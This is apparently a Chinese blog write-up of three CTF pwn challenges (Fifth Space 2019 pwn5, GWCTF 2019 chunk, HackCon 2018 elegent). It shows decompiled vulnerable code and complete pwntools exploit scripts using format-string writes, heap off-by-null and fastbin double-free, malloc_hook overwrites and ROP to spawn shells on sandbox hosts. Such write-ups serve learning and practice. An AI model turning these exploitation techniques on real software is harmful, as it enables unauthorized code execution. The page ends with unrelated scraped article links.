目录

Fifth Space-2019-Final-Pwn-pwn5

GWCTF-2019-Pwn-chunk

2018-HackCon-Pwn-elegent


Fifth Space-2019-Final-Pwn-pwn5

格式化字符串入门级题目,只需要让地址dword_804C044等于输入值即可。明显把dword_804C044值直接清0比泄露再输入要方便。

int __cdecl main(int a1)
{unsigned int v1; // eaxint result; // eaxint fd; // [esp+0h] [ebp-84h]char nptr[16]; // [esp+4h] [ebp-80h] BYREFchar buf[100]; // [esp+14h] [ebp-70h] BYREFunsigned int v6; // [esp+78h] [ebp-Ch]int *v7; // [esp+7Ch] [ebp-8h]v7 = &a1;v6 = __readgsdword(0x14u);setvbuf(stdout, 0, 2, 0);v1 = time(0);srand(v1);fd = open("/dev/urandom", 0);read(fd, &dword_804C044, 4u);printf("your name:");read(0, buf, 0x63u);printf("Hello,");printf(buf);printf("your passwd:");read(0, nptr, 0xFu);if ( atoi(nptr) == dword_804C044 ){puts("ok!!");system("/bin/sh");}else{puts("fail");}result = 0;if ( __readgsdword(0x14u) != v6 )sub_80493D0();return result;
}

所以用直接清零然后再回个车就O了

from pwn import *#p = process('./pwn')
p = remote('challenge-850b764cbe1432ca.sandbox.ctfhub.com', 30435)
context.log_level = 'debug'pay = b"%12$n000"+p32(0x804c044)
p.sendlineafter(b"your name:", pay)p.interactive()

GWCTF-2019-Pwn-chunk

这是个堆题,后台是libc-2.23,这个题用的fastbin需要错位。有show这就比较好办了,直接申请个大块释放再申请回来,show就能得到libc,在edit里用了read_0这里边会在后边加一个\0

__int64 __fastcall read_0(__int64 a1, int a2)
{unsigned int i; // [rsp+18h] [rbp-28h]char buf[24]; // [rsp+20h] [rbp-20h] BYREFunsigned __int64 v5; // [rsp+38h] [rbp-8h]v5 = __readfsqword(0x28u);for ( i = 0; (int)i < a2; ++i ){read(0, buf, 1uLL);if ( buf[0] == 10 )break;*(_BYTE *)(a1 + (int)i) = buf[0];}*(_BYTE *)((int)i + a1) = 0;    //当输入完后会在最后加\0造成off_by_nullreturn i;
}

思路:

  1. 释放80以上的块再申请回来,show得到libc
  2. 先释放0块到unsort,再编辑1块用off_by_null将2块的头101修改为100,pre_size改为0和1块的和。释放2块会向前将0,1合并到unsort
  3. 再申请加0,4,2这里的4与原来的1重叠。
  4. 释放1,3,4形成double_free写入malloc_hook-0x23利用前部的0x7f错位建块到malloc_hook附近
  5. 在malloc_hook写入realloc,在realloc_hook写入one_gadget
from pwn import *'''
patchelf --set-interpreter /home/shi/buuctf/buuoj_2.23_amd64/ld_2.23-0ubuntu10_amd64.so pwn
patchelf --add-needed /home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so pwn
'''#p = process('./pwn')
p = remote('challenge-985dda31a6dcba87.sandbox.ctfhub.com', 34596) libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'menu = b"Your choice: "
def add(idx, size):p.sendlineafter(menu, b'1')p.sendlineafter(b"Give me a book ID: ", str(idx).encode())p.sendlineafter(b"how long: ", str(size).encode())def show(idx):p.sendlineafter(menu, b'2')p.sendlineafter(b"Which book do you want to show?", str(idx).encode())def free(idx):p.sendlineafter(menu, b'3')p.sendlineafter(b"Which one to throw?", str(idx).encode())def edit(idx, msg):p.sendlineafter(menu, b'4')p.sendlineafter(b"Which book to write?", str(idx).encode())p.sendafter(b"Content: ", msg)  #off_by_zeroadd(0, 0xf8)
add(1, 0x68)
add(2, 0xf8)
add(3, 0x68)
#释放大块再申请得到libc
free(2)
add(2, 0xf8)
show(2)
p.recvuntil(b'Content: ')
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x68 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
print('libc:', hex(libc_base))#off_by_null 形成向上合并
free(0)  #1, free 0 to unsort
edit(1, b'A'*0x60+p64(0x170)) #edit #2.pre_size=0x170(#0+#1) #2.head:0x101->0x100
free(2)add(0, 0xf8)
add(4, 0x68)  #4==#1 得到重叠块
add(2, 0xf8)free(1)
free(3)
free(4)  #double free, fastbin Attackadd(1, 0x68)
edit(1, p64(libc_elf.sym['__malloc_hook'] -0x23)+ b'\n')
add(3, 0x68)
add(4, 0x68)
add(5, 0x68)one_gadget = libc_base + one[3]
realloc = libc_elf.sym['realloc']
edit(5, b'\x00'*(3+8) + p64(one_gadget) + p64(realloc)+ b'\n')add(6,8)
p.interactive()

2018-HackCon-Pwn-elegent

又一个printf,这里用scanf读入数据有溢出,scanf读入时输入的0不会被删除,并不影响输入带0的地址。

int __cdecl main(int argc, const char **argv, const char **envp)
{char format[64]; // [rsp+10h] [rbp-40h] BYREFprintf("Hola %s bois\n", "sup");puts("Give me some inputz: ");fflush(_bss_start);__isoc99_scanf("%128s", format);   //有溢出printf(format);                    //格式化字符串漏洞putchar(10);fflush(_bss_start);return 0;
}

思路:

  1. 修改.fini_array,将原值0x400600改为0x400637:main实现循环,同时用%17$p输入__libc_start_main_ret的值
  2. 第二次并不需要用到printf漏洞,直接通过溢出写rop即可
from pwn import *'''
patchelf --set-interpreter /home/shi/libc-2.27-3ubuntu1.2/lib/x86_64-linux-gnu/ld-2.27.so pwn
patchelf --add-needed /home/shi/libc-2.27-3ubuntu1.2/lib/x86_64-linux-gnu/libc-2.27.so pwn
'''#p = process("./pwn")
p = remote('challenge-0eb538c976b7cb23.sandbox.ctfhub.com', 33646)context.log_level = "debug"
context.arch = "amd64"elf = ELF('./pwn')
libc_elf = ELF('/home/shi/libc-2.27-3ubuntu1.2/lib/x86_64-linux-gnu/libc-2.27.so')
one = [0x4f365, 0x4f3c2, 0x10a45c]
libc_start_main_ret = 0x21b97#gdb.attach(p, "b*0x4006b6")
#pause()fini_array = 0x6008c8pay = b'%55c%10$hhn%17$p'.ljust(16,b'a')+ p64(fini_array)   #400600->400637 main  scanf(%s) 不影响输入0
p.sendlineafter(b"Give me some inputz: \n", pay)p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - libc_start_main_ret
libc_elf.address = libc_base
print('libc:', hex(libc_base))pop_rdi = 0x0000000000400733 # pop rdi ; ret
#bin_sh  = next(libc_elf.search(b'/bin/sh\x00'))
#system = libc_elf.sym['system']
bin_sh = libc_base + 0x1b3e9a #0x1b40fa   #remote 3ubuntu1 local 3ubuntu1.2
system = libc_base + 0x4f440 #0x4f4e0
p.sendlineafter(b"Give me some inputz: \n", b'A'*64+ flat(0,pop_rdi+1, pop_rdi,bin_sh,system))p.interactive()

这里有个坑,一般常见的docker用的版本libc-2.27,用libc_start_main_ret得到的libc在3ubuntu0,3ubuntu1,3ubuntu1.2这几个是相同的,但bin_sh和system的偏移却不同。这里的用的是3ubuntu1

[ctfhub.pwn] 第12-14题相关推荐

  1. 线性代数(第六版)同济大学 习题一 (1-4题)个人解答

    线性代数(第六版)同济大学 习题一(1-4题) 1. 利用对角线法则计算下列三阶行列式: \begin{aligned}&1. \ 利用对角线法则计算下列三阶行列式:&\end{ali ...

  2. English Learning - Day8 作业打卡 2022.12.14 周三

    English Learning - Day8 作业打卡 2022.12.14 周三 引言 1. 学习让我感觉很棒.(什么关系?动作 or 描述?主语部分是?) 2. 她忽然想起来钥匙放另一个包里了. ...

  3. 【华为笔试】输入:A={11,13,15},B={12,14,16},R=1

    前两天做华为的题,结果太菜,当天结束后,把第一题自己终于做出来了. 我要吐槽一下华为,笔试前一个半小时通知笔试,还和我小米笔试冲突了,结果还做的不好. 第一道题: 输入字符串:A={1,3,5},B= ...

  4. 2010.12.14 关于decimal和Numeric类型

    decimal:从-10^38到10^38-1的定精度与有效位数的数字 numeric:decimal的同义词 怎么理解Numberic类型呢? Decimal数据类型,语法为:Decimal(P,S ...

  5. 二叉树的遍历(算法导论第三版12.1-4)(包含先序遍历,后序遍历和中序遍历)

    二叉树的遍历(算法导论第三版12.1-4) 1⃣️先序遍历 template<typename T> void preorder_tree_wald(BinaryTreeNode<T ...

  6. 砂.随笔.九.12.14公司停电,冒雨修爪爪

    字痕皆是血与泪...   PS过... 米PS过...的另一张 转载于:https://www.cnblogs.com/aque1984/archive/2006/12/14/592468.html

  7. 服务器宕机记录16.12.14

    阿里云主机 16.12.14日11:37分宕机,第一时间收到短信,ssh远程远法登录,阿里云控制台,无法登录.查看CPU和内存,没有鸟用,只能重启. 11:40分,正常登录主机,查看messages ...

  8. 《c primer pius》第六章第14题,发现网上好多都有问题,编写一个程序读入一行输入,然后反向打印该行,您可以把输入存储在一个char数组中

    编写一个程序读入一行输入,然后反向打印该行,您可以把输入存储在一个char数组中: 假定该行不超过255个字符.回忆一下,您可以使用具有%c说明符的scanf()从输入中一次 读入一个字符,而且当您按 ...

  9. 2019.12.14

    2019.12.14 bool canBeEqual(vector<int>& target, vector<int>& arr) {if (target.si ...

最新文章

  1. 【深度学习】基于Pytorch的卷积神经网络概念解析和API妙用(二)
  2. ACM计算几何题目推荐
  3. 评分卡开发方法论scorecard
  4. AppCode下的cs类 取得相关路径
  5. 从零搭建 dubbogo
  6. Unity 安卓连调profile失败
  7. How to Use Command to Execute Git Push with Review from Sean
  8. 综合中央计算机系统简称,全国计算机等级考试级试题及答案.doc
  9. [蓝桥杯2018初赛]次数差-模拟,map容器
  10. Spring Boot Debug调试
  11. 阿里云高级技术专家周晶:基于融合与协同的边缘云原生体系实践
  12. login.html错误,创建好login.html文件后,在git bash执行webpack出现错误
  13. 牛客网--华为机试在线训练2:计算字符个数
  14. 视频教程-ThinkPHP5.0项目实战-PHP
  15. 腾讯乐享社区是什么?如何使用腾讯乐享?如何连接腾讯乐享和企业微信?
  16. 计算机打印机共享服务怎么开,windows7系统打印机共享怎么设置?windows7系统打印机共享设置步骤...
  17. 《你见,或者不见我》
  18. IDELAY输入延迟分析
  19. 海思Hi3519AV100深度学习方案(一)darknet转caffmodel之caffe安装(基于Ubuntu16.04+python3.5+opencv3.4.0+cuda10.0)
  20. 将一个word文档按一页或多页拆分成多个文档

热门文章

  1. scala 判断手机号码_手机上的Scala
  2. 中国地质调查局:汶川地震原因已有初步结论
  3. 城市自然人 挣脱商业束缚的群生群像
  4. 《我学区块链》—— 二、一些概念和工具
  5. 深度学习和神经网络的区别是什么
  6. 从开发者的角度,如何看待提高软件质量
  7. 古代一两银子值现在多少钱?
  8. Java的宝贝——反射
  9. SystemTap使用技巧【一】
  10. 开源协同OA办公平台教程:O2OA服务管理中,接口的调用权限